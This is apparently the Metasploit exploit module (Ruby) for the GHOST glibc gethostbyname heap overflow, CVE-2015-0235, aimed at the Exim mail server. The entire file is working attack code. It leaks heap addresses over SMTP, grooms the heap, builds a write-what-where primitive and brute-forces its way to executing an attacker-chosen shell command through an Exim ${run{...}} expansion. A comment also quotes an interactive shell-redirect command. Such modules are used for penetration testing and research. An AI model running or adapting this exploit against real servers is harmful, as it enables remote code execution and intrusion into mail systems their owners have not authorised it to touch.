726 lines
28 KiB
Ruby
726 lines
28 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow',
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'Description' => %q{
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This module remotely exploits CVE-2015-0235, aka GHOST, a heap-based
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buffer overflow in the GNU C Library's gethostbyname functions on x86
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and x86_64 GNU/Linux systems that run the Exim mail server.
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},
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'Author' => [
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'Unknown', # Discovered and published by Qualys, Inc.
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],
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'License' => BSD_LICENSE,
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'References' => [
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['CVE', '2015-0235'],
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['US-CERT-VU', '967332'],
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['OSVDB', '117579'],
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['BID', '72325'],
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['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'],
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['URL', 'https://community.qualys.com/blogs/laws-of-vulnerabilities/2015/01/27/the-ghost-vulnerability'],
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['URL', 'http://r-7.co/1CAnMc0'] # MSF Wiki doc (this module's manual)
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],
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'DisclosureDate' => 'Jan 27 2015',
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'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim)
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'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload
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'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X64], but ^
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'Payload' => {
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'Space' => 255, # the shorter the payload, the higher the probability of code execution
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'BadChars' => "", # we encode the payload ourselves, because ^
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'DisableNops' => true,
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'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell
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},
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'Targets' => [['Automatic', {}]],
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'DefaultTarget' => 0
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))
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register_options([
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Opt::RPORT(25),
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OptAddress.new('SENDER_HOST_ADDRESS', [true,
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'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil])
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], self.class)
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register_advanced_options([
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OptBool.new('FORCE_EXPLOIT', [false, 'Let the exploit run anyway without the check first', nil])
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], self.class)
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end
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def check
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# for now, no information about the vulnerable state of the target
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check_code = Exploit::CheckCode::Unknown
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begin
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# not exploiting, just checking
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smtp_connect(false)
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# malloc()ate gethostbyname's buffer, and
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# make sure its next_chunk isn't the top chunk
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9.times do
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smtp_send("HELO ", "", "0", "", "", 1024+16-1+0)
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smtp_recv(HELO_CODES)
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end
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# overflow (4 bytes) gethostbyname's buffer, and
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# overwrite its next_chunk's size field with 0x00303030
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smtp_send("HELO ", "", "0", "", "", 1024+16-1+4)
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# from now on, an exception means vulnerable
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check_code = Exploit::CheckCode::Vulnerable
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# raise an exception if no valid SMTP reply
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reply = smtp_recv(ANY_CODE)
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# can't determine vulnerable state if smtp_verify_helo() isn't called
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return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
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# realloc()ate gethostbyname's buffer, and
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# crash (old glibc) or abort (new glibc)
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# on the overwritten size field
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smtp_send("HELO ", "", "0", "", "", 2048-16-1+4)
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# raise an exception if no valid SMTP reply
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reply = smtp_recv(ANY_CODE)
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# can't determine vulnerable state if smtp_verify_helo() isn't called
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return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/
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# a vulnerable target should've crashed by now
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check_code = Exploit::CheckCode::Safe
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rescue
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peer = "#{rhost}:#{rport}"
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vprint_status("Caught #{$!.class}: #{$!.message}")
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ensure
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smtp_disconnect
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end
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return check_code
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end
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def exploit
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unless datastore['FORCE_EXPLOIT']
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print_status("Checking if target is vulnerable...")
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fail_with(Failure::NotVulnerable, "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable
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print_good("Target is vulnerable.")
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end
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information_leak
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code_execution
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end
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private
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HELO_CODES = '250|451|550'
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ANY_CODE = '[0-9]{3}'
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MIN_HEAP_SHIFT = 80
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MIN_HEAP_SIZE = 128 * 1024
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MAX_HEAP_SIZE = 1024 * 1024
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# Exim
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ALIGNMENT = 8
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STORE_BLOCK_SIZE = 8192
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STOREPOOL_MIN_SIZE = 256
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LOG_BUFFER_SIZE = 8192
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BIG_BUFFER_SIZE = 16384
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SMTP_CMD_BUFFER_SIZE = 16384
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IN_BUFFER_SIZE = 8192
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# GNU C Library
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PREV_INUSE = 0x1
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NS_MAXDNAME = 1025
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# Linux
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MMAP_MIN_ADDR = 65536
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def fail_with(fail_subject, message)
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message = "#{message}. For more info: http://r-7.co/1CAnMc0"
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super(fail_subject, message)
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end
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def information_leak
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print_status("Trying information leak...")
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leaked_arch = nil
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leaked_addr = []
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# try different heap_shift values, in case Exim's heap address contains
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# bad chars (NUL, CR, LF) and was mangled during the information leak;
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# we'll keep the longest one (the least likely to have been truncated)
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16.times do
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done = catch(:another_heap_shift) do
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heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15)
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vprint_status("#{{ heap_shift: heap_shift }}")
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# write the malloc_chunk header at increasing offsets (8-byte step),
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# until we overwrite the "503 sender not yet given" error message
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128.step(256, 8) do |write_offset|
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error = try_information_leak(heap_shift, write_offset)
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vprint_status("#{{ write_offset: write_offset, error: error }}")
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throw(:another_heap_shift) if not error
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next if error == "503 sender not yet given"
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# try a few more offsets (allows us to double-check things,
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# and distinguish between 32-bit and 64-bit machines)
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error = [error]
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1.upto(5) do |i|
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error[i] = try_information_leak(heap_shift, write_offset + i*8)
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throw(:another_heap_shift) if not error[i]
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end
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vprint_status("#{{ error: error }}")
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_leaked_arch = leaked_arch
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if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize
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(error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd
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(error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size
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(error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
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leaked_arch = ARCH_X64
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elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize
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(error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd
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(error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size
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(error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing()
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leaked_arch = ARCH_X86
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else
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throw(:another_heap_shift)
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end
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vprint_status("#{{ leaked_arch: leaked_arch }}")
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fail_with(Failure::BadConfig, "arch changed") if _leaked_arch and _leaked_arch != leaked_arch
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# try different large-bins: most of them should be empty,
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# so keep the most frequent fd_nextsize address
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# (a pointer to the malloc_chunk itself)
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count = Hash.new(0)
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0.upto(9) do |last_digit|
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error = try_information_leak(heap_shift, write_offset, last_digit)
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next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes
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next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK
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count[error] += 1
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end
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vprint_status("#{{ count: count }}")
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throw(:another_heap_shift) if count.empty?
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# convert count to a nested array of [key, value] arrays and sort it
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error_count = count.sort { |a, b| b[1] <=> a[1] }
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error_count = error_count.first # most frequent
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error = error_count[0]
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count = error_count[1]
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throw(:another_heap_shift) unless count >= 6 # majority
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leaked_addr.push({ error: error, shift: heap_shift })
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# common-case shortcut
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if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or
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(leaked_arch == ARCH_X64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?)
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leaked_addr = [leaked_addr.last] # use this one, and not another
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throw(:another_heap_shift, true) # done
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end
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throw(:another_heap_shift)
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end
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throw(:another_heap_shift)
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end
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break if done
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end
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fail_with(Failure::NotVulnerable, "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil?
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fail_with(Failure::NotVulnerable, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty?
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leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length }
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leaked_addr = leaked_addr.first # longest
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error = leaked_addr[:error]
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shift = leaked_addr[:shift]
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leaked_addr = 0
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(leaked_arch == ARCH_X86 ? 4 : 8).times do |i|
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break if i >= error.length
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leaked_addr += error.unpack('C*')[i] * (2**(i*8))
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end
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# leaked_addr should point to the beginning of Exim's smtp_cmd_buffer:
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leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE
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fail_with(Failure::NoTarget, "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR
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print_good("Successfully leaked_arch: #{leaked_arch}")
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print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}")
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@leaked = { arch: leaked_arch, addr: leaked_addr }
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end
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def try_information_leak(heap_shift, write_offset, last_digit = 9)
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fail_with(Failure::BadConfig, "heap_shift") if (heap_shift < MIN_HEAP_SHIFT)
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fail_with(Failure::BadConfig, "heap_shift") if (heap_shift & 15) != 0
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fail_with(Failure::BadConfig, "write_offset") if (write_offset & 7) != 0
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fail_with(Failure::BadConfig, "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/
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smtp_connect
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# bulletproof Heap Feng Shui; the hard part is avoiding:
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# "Too many syntax or protocol errors" (3)
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# "Too many unrecognized commands" (3)
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# "Too many nonmail commands" (10)
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smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 11*1024+13-1 + heap_shift)
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smtp_recv(250)
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smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
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smtp_recv(250)
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smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
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smtp_recv(250)
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smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 8*1024+16+13-1)
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smtp_recv(250)
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smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+16+13-1)
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smtp_recv(250)
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# overflow (3 bytes) gethostbyname's buffer, and
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# overwrite its next_chunk's size field with 0x003?31
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# ^ last_digit
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smtp_send("HELO ", "", "0", ".1#{last_digit}", "", 12*1024+3-1 + heap_shift-MIN_HEAP_SHIFT)
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begin # ^ 0x30 | PREV_INUSE
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smtp_recv(HELO_CODES)
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smtp_send("RSET")
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smtp_recv(250)
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smtp_send("RCPT TO:", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
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smtp_recv(503, 'sender not yet given')
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smtp_send("", "BAD1 ", method(:rand_text_alpha), "\x7F\x7F\x7F\x7F", "", 10*1024-16-1 + write_offset)
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smtp_recv(500, '\A500 unrecognized command\r\n\z')
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smtp_send("BAD2 ", "", method(:rand_text_alpha), "\x7F", "", 15*1024)
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smtp_recv(500, '\A500 unrecognized command\r\n\z')
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smtp_send("DATA")
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reply = smtp_recv(503)
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lines = reply[:lines]
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fail if lines.size <= 3
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fail if lines[+0] != "503-All RCPT commands were rejected with this error:\r\n"
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fail if lines[-2] != "503-valid RCPT command must precede DATA\r\n"
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fail if lines[-1] != "503 Too many syntax or protocol errors\r\n"
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# if leaked_addr contains LF, reverse smtp_respond()'s multiline splitting
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# (the "while (isspace(*msg)) msg++;" loop can't be easily reversed,
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# but happens with lower probability)
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error = lines[+1..-3].join("")
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error.sub!(/\A503-/mn, "")
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error.sub!(/\r\n\z/mn, "")
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error.gsub!(/\r\n503-/mn, "\n")
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return error
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rescue
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return nil
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end
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ensure
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smtp_disconnect
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end
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def code_execution
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print_status("Trying code execution...")
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# can't "${run{/bin/sh -c 'exec /bin/sh -i <&#{b} >&0 2>&0'}} " anymore:
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# DW/26 Set FD_CLOEXEC on SMTP sockets after forking in the daemon, to ensure
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# that rogue child processes cannot use them.
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fail_with(Failure::BadConfig, "encoded payload") if payload.raw != payload.encoded
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fail_with(Failure::BadConfig, "invalid payload") if payload.raw.empty? or payload.raw.count("^\x20-\x7E").nonzero?
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# Exim processes our run-ACL with expand_string() first (hence the [\$\{\}\\] escapes),
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# and transport_set_up_command(), string_dequote() next (hence the [\"\\] escapes).
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encoded = payload.raw.gsub(/[\"\\]/, '\\\\\\&').gsub(/[\$\{\}\\]/, '\\\\\\&')
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# setsid because of Exim's "killpg(pid, SIGKILL);" after "alarm(60);"
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command = '${run{/usr/bin/env setsid /bin/sh -c "' + encoded + '"}}'
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vprint_status("Command: #{command}")
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# don't try to execute commands directly, try a very simple ACL first,
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# to distinguish between exploitation-problems and shellcode-problems
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acldrop = "drop message="
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message = rand_text_alpha(command.length - acldrop.length)
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acldrop += message
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max_rand_offset = (@leaked[:arch] == ARCH_X86 ? 32 : 64)
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max_heap_addr = @leaked[:addr]
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min_heap_addr = nil
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survived = nil
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# we later fill log_buffer and big_buffer with alpha chars,
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# which creates a safe-zone at the beginning of the heap,
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# where we can't possibly crash during our brute-force
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# 4, because 3 copies of sender_helo_name, and step_len;
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# start big, but refine little by little in case
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# we crash because we overwrite important data
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helo_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) / 4
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loop do
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sender_helo_name = "A" * helo_len
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address = sprintf("[%s]:%d", @sender[:hostaddr], 65535)
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# the 3 copies of sender_helo_name, allocated by
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# host_build_sender_fullhost() in POOL_PERM memory
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helo_ip_size = ALIGNMENT +
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sender_helo_name[+1..-2].length
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sender_fullhost_size = ALIGNMENT +
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sprintf("%s (%s) %s", @sender[:hostname], sender_helo_name, address).length
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sender_rcvhost_size = ALIGNMENT + ((@sender[:ident] == nil) ?
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sprintf("%s (%s helo=%s)", @sender[:hostname], address, sender_helo_name) :
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sprintf("%s\n\t(%s helo=%s ident=%s)", @sender[:hostname], address, sender_helo_name, @sender[:ident])
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).length
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# fit completely into the safe-zone
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step_len = (LOG_BUFFER_SIZE + BIG_BUFFER_SIZE) -
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(max_rand_offset + helo_ip_size + sender_fullhost_size + sender_rcvhost_size)
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loop do
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# inside smtp_cmd_buffer (we later fill smtp_cmd_buffer and smtp_data_buffer
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# with alpha chars, which creates another safe-zone at the end of the heap)
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heap_addr = max_heap_addr
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loop do
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# try harder the first time around: we obtain better
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# heap boundaries, and we usually hit our ACL faster
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(min_heap_addr ? 1 : 2).times do
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# try the same heap_addr several times, but with different random offsets,
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# in case we crash because our hijacked storeblock's length field is too small
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# (we don't control what's stored at heap_addr)
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rand_offset = rand(max_rand_offset)
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vprint_status("#{{ helo: helo_len, step: step_len, addr: heap_addr.to_s(16), offset: rand_offset }}")
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reply = try_code_execution(helo_len, acldrop, heap_addr + rand_offset)
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vprint_status("#{{ reply: reply }}") if reply
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if reply and
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reply[:code] == "550" and
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# detect the parsed ACL, not the "still in text form" ACL (with "=")
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reply[:lines].join("").delete("^=A-Za-z") =~ /(\A|[^=])#{message}/mn
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print_good("Brute-force SUCCESS")
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print_good("Please wait for reply...")
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# execute command this time, not acldrop
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reply = try_code_execution(helo_len, command, heap_addr + rand_offset)
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vprint_status("#{{ reply: reply }}")
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return handler
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end
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if not min_heap_addr
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if reply
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fail_with(Failure::BadConfig, "no min_heap_addr") if (max_heap_addr - heap_addr) >= MAX_HEAP_SIZE
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survived = heap_addr
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else
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if ((survived ? survived : max_heap_addr) - heap_addr) >= MIN_HEAP_SIZE
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# survived should point to our safe-zone at the beginning of the heap
|
|
fail_with(Failure::UnexpectedReply, "never survived") if not survived
|
|
print_good "Brute-forced min_heap_addr: #{survived.to_s(16)}"
|
|
min_heap_addr = survived
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
heap_addr -= step_len
|
|
break if min_heap_addr and heap_addr < min_heap_addr
|
|
end
|
|
|
|
break if step_len < 1024
|
|
step_len /= 2
|
|
end
|
|
|
|
helo_len /= 2
|
|
break if helo_len < 1024
|
|
# ^ otherwise the 3 copies of sender_helo_name will
|
|
# fit into the current_block of POOL_PERM memory
|
|
end
|
|
fail_with(Failure::UnexpectedReply, "Brute-force FAILURE")
|
|
end
|
|
|
|
# our write-what-where primitive
|
|
def try_code_execution(len, what, where)
|
|
fail_with(Failure::UnexpectedReply, "#{what.length} >= #{len}") if what.length >= len
|
|
fail_with(Failure::UnexpectedReply, "#{where} < 0") if where < 0
|
|
|
|
x86 = (@leaked[:arch] == ARCH_X86)
|
|
min_heap_shift = (x86 ? 512 : 768) # at least request2size(sizeof(FILE))
|
|
heap_shift = min_heap_shift + rand(1024 - min_heap_shift)
|
|
last_digit = 1 + rand(9)
|
|
|
|
smtp_connect
|
|
|
|
# fill smtp_cmd_buffer, smtp_data_buffer, and big_buffer with alpha chars
|
|
smtp_send("MAIL FROM:", "", method(:rand_text_alpha), "<#{rand_text_alpha_upper(8)}>", "", BIG_BUFFER_SIZE -
|
|
"501 : sender address must contain a domain\r\n\0".length)
|
|
smtp_recv(501, 'sender address must contain a domain')
|
|
|
|
smtp_send("RSET")
|
|
smtp_recv(250)
|
|
|
|
# bulletproof Heap Feng Shui; the hard part is avoiding:
|
|
# "Too many syntax or protocol errors" (3)
|
|
# "Too many unrecognized commands" (3)
|
|
# "Too many nonmail commands" (10)
|
|
|
|
# / 5, because "\x7F" is non-print, and:
|
|
# ss = store_get(length + nonprintcount * 4 + 1);
|
|
smtp_send("BAD1 ", "", "\x7F", "", "", (19*1024 + heap_shift) / 5)
|
|
smtp_recv(500, '\A500 unrecognized command\r\n\z')
|
|
|
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 5*1024+13-1)
|
|
smtp_recv(250)
|
|
|
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+13-1)
|
|
smtp_recv(250)
|
|
|
|
smtp_send("BAD2 ", "", "\x7F", "", "", (13*1024 + 128) / 5)
|
|
smtp_recv(500, '\A500 unrecognized command\r\n\z')
|
|
|
|
smtp_send("HELO ", "", "0", @sender[:hostaddr8], "", 3*1024+16+13-1)
|
|
smtp_recv(250)
|
|
|
|
# overflow (3 bytes) gethostbyname's buffer, and
|
|
# overwrite its next_chunk's size field with 0x003?31
|
|
# ^ last_digit
|
|
smtp_send("EHLO ", "", "0", ".1#{last_digit}", "", 5*1024+64+3-1)
|
|
smtp_recv(HELO_CODES) # ^ 0x30 | PREV_INUSE
|
|
|
|
# auth_xtextdecode() is the only way to overwrite the beginning of a
|
|
# current_block of memory (the "storeblock" structure) with arbitrary data
|
|
# (so that our hijacked "next" pointer can contain NUL, CR, LF characters).
|
|
# this shapes the rest of our exploit: we overwrite the beginning of the
|
|
# current_block of POOL_PERM memory with the current_block of POOL_MAIN
|
|
# memory (allocated by auth_xtextdecode()).
|
|
|
|
auth_prefix = rand_text_alpha(x86 ? 11264 : 11280)
|
|
(x86 ? 4 : 8).times { |i| auth_prefix += sprintf("+%02x", (where >> (i*8)) & 255) }
|
|
auth_prefix += "."
|
|
|
|
# also fill log_buffer with alpha chars
|
|
smtp_send("MAIL FROM:<> AUTH=", auth_prefix, method(:rand_text_alpha), "+", "", 0x3030)
|
|
smtp_recv(501, 'invalid data for AUTH')
|
|
|
|
smtp_send("HELO ", "[1:2:3:4:5:6:7:8%eth0:", " ", "#{what}]", "", len)
|
|
begin
|
|
reply = smtp_recv(ANY_CODE)
|
|
return reply if reply[:code] !~ /#{HELO_CODES}/
|
|
return reply if reply[:code] != "250" and reply[:lines].first !~ /argument does not match calling host/
|
|
|
|
smtp_send("MAIL FROM:<>")
|
|
reply = smtp_recv(ANY_CODE)
|
|
return reply if reply[:code] != "250"
|
|
|
|
smtp_send("RCPT TO:<postmaster>")
|
|
reply = smtp_recv
|
|
return reply
|
|
|
|
rescue
|
|
return nil
|
|
end
|
|
|
|
ensure
|
|
smtp_disconnect
|
|
end
|
|
|
|
DIGITS = '([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])'
|
|
DOT = '[.]'
|
|
|
|
def smtp_connect(exploiting = true)
|
|
fail_with(Failure::Unknown, "sock isn't nil") if sock
|
|
|
|
connect
|
|
fail_with(Failure::Unknown, "sock is nil") if not sock
|
|
@smtp_state = :recv
|
|
|
|
# Receiving the banner (but we don't really need to check it)
|
|
smtp_recv(220)
|
|
return if not exploiting
|
|
|
|
sender_host_address = datastore['SENDER_HOST_ADDRESS']
|
|
if sender_host_address !~ /\A#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}#{DOT}#{DIGITS}\z/
|
|
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (nil)") if sender_host_address.nil?
|
|
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)")
|
|
end
|
|
sender_host_address_octal = "0" + $1.to_i.to_s(8) + ".#{$2}.#{$3}.#{$4}"
|
|
|
|
# turn helo_seen on (enable the MAIL command)
|
|
# call smtp_verify_helo() (force fopen() and small malloc()s)
|
|
# call host_find_byname() (force gethostbyname's initial 1024-byte malloc())
|
|
smtp_send("HELO #{sender_host_address_octal}")
|
|
reply = smtp_recv(HELO_CODES)
|
|
|
|
if reply[:code] != "250"
|
|
fail_with(Failure::NoTarget, "not Exim?") if reply[:lines].first !~ /argument does not match calling host/
|
|
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_verify_hosts)")
|
|
end
|
|
|
|
if reply[:lines].first =~ /\A250 (\S*) Hello (.*) \[(\S*)\]\r\n\z/mn
|
|
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)") if sender_host_address != $3
|
|
smtp_active_hostname = $1
|
|
sender_host_name = $2
|
|
|
|
if sender_host_name =~ /\A(.*) at (\S*)\z/mn
|
|
sender_host_name = $2
|
|
sender_ident = $1
|
|
else
|
|
sender_ident = nil
|
|
end
|
|
fail_with(Failure::BadConfig, "bad SENDER_HOST_ADDRESS (no FCrDNS)") if sender_host_name == sender_host_address_octal
|
|
|
|
else
|
|
# can't double-check sender_host_address here, so only for advanced users
|
|
fail_with(Failure::BadConfig, "user-supplied EHLO greeting") unless datastore['FORCE_EXPLOIT']
|
|
# worst-case scenario
|
|
smtp_active_hostname = "A" * NS_MAXDNAME
|
|
sender_host_name = "A" * NS_MAXDNAME
|
|
sender_ident = "A" * 127 * 4 # sender_ident = string_printing(string_copyn(p, 127));
|
|
end
|
|
|
|
_sender = @sender
|
|
@sender = {
|
|
hostaddr: sender_host_address,
|
|
hostaddr8: sender_host_address_octal,
|
|
hostname: sender_host_name,
|
|
ident: sender_ident,
|
|
__smtp_active_hostname: smtp_active_hostname
|
|
}
|
|
fail_with(Failure::BadConfig, "sender changed") if _sender and _sender != @sender
|
|
|
|
# avoid a future pathological case by forcing it now:
|
|
# "Do NOT free the first successor, if our current block has less than 256 bytes left."
|
|
smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16)
|
|
smtp_recv(501, 'sender address must contain a domain')
|
|
|
|
smtp_send("RSET")
|
|
smtp_recv(250, 'Reset OK')
|
|
end
|
|
|
|
def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil)
|
|
fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :send
|
|
@smtp_state = :sending
|
|
|
|
if not arg_pattern
|
|
fail_with(Failure::BadConfig, "prefix is nil") if not prefix
|
|
fail_with(Failure::BadConfig, "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length
|
|
command = prefix
|
|
|
|
else
|
|
fail_with(Failure::BadConfig, "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length
|
|
length = arg_length - arg_prefix.length - arg_suffix.length
|
|
fail_with(Failure::BadConfig, "smtp_send", "len is #{length}") if length <= 0
|
|
argument = arg_prefix
|
|
case arg_pattern
|
|
when String
|
|
argument += arg_pattern * (length / arg_pattern.length)
|
|
argument += arg_pattern[0, length % arg_pattern.length]
|
|
when Method
|
|
argument += arg_pattern.call(length)
|
|
end
|
|
argument += arg_suffix
|
|
fail_with(Failure::BadConfig, "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length
|
|
command = prefix + argument + suffix
|
|
end
|
|
|
|
fail_with(Failure::BadConfig, "invalid char in cmd") if command.count("^\x20-\x7F") > 0
|
|
fail_with(Failure::BadConfig, "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE
|
|
command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer
|
|
|
|
# the following loop works around a bug in the put() method:
|
|
# "while (send_idx < send_len)" should be "while (send_idx < buf.length)"
|
|
# (or send_idx and/or send_len could be removed altogether, like here)
|
|
|
|
while command and not command.empty?
|
|
num_sent = sock.put(command)
|
|
fail_with(Failure::BadConfig, "sent is #{num_sent}") if num_sent <= 0
|
|
fail_with(Failure::BadConfig, "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length
|
|
command = command[num_sent..-1]
|
|
end
|
|
|
|
@smtp_state = :recv
|
|
end
|
|
|
|
def smtp_recv(expected_code = nil, expected_data = nil)
|
|
fail_with(Failure::BadConfig, "state is #{@smtp_state}") if @smtp_state != :recv
|
|
@smtp_state = :recving
|
|
|
|
failure = catch(:failure) do
|
|
|
|
# parse SMTP replies very carefully (the information
|
|
# leak injects arbitrary data into multiline replies)
|
|
|
|
data = ""
|
|
while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn
|
|
begin
|
|
more_data = sock.get_once
|
|
rescue
|
|
throw(:failure, "Caught #{$!.class}: #{$!.message}")
|
|
end
|
|
throw(:failure, "no more data") if more_data.nil?
|
|
throw(:failure, "no more data") if more_data.empty?
|
|
data += more_data
|
|
end
|
|
|
|
throw(:failure, "malformed reply (count)") if data.count("\0") > 0
|
|
lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn)
|
|
throw(:failure, "malformed reply (empty)") if lines.empty?
|
|
|
|
code = nil
|
|
lines.size.times do |i|
|
|
lines[i].sub!(/\A\r\n/mn, "")
|
|
lines[i] += "\r\n"
|
|
|
|
if i == 0
|
|
code = lines[i][0,3]
|
|
throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn
|
|
if expected_code and code !~ /\A(#{expected_code})\z/mn
|
|
throw(:failure, "unexpected #{code}, expected #{expected_code}")
|
|
end
|
|
end
|
|
|
|
line_begins_with = lines[i][0,4]
|
|
line_should_begin_with = code + (i == lines.size-1 ? " " : "-")
|
|
|
|
if line_begins_with != line_should_begin_with
|
|
throw(:failure, "line begins with #{line_begins_with}, " \
|
|
"should begin with #{line_should_begin_with}")
|
|
end
|
|
end
|
|
|
|
throw(:failure, "malformed reply (join)") if lines.join("") != data
|
|
if expected_data and data !~ /#{expected_data}/mn
|
|
throw(:failure, "unexpected data")
|
|
end
|
|
|
|
reply = { code: code, lines: lines }
|
|
@smtp_state = :send
|
|
return reply
|
|
end
|
|
|
|
fail_with(Failure::UnexpectedReply, "#{failure}") if expected_code
|
|
return nil
|
|
end
|
|
|
|
def smtp_disconnect
|
|
disconnect if sock
|
|
fail_with(Failure::Unknown, "sock isn't nil") if sock
|
|
@smtp_state = :disconnected
|
|
end
|
|
end
|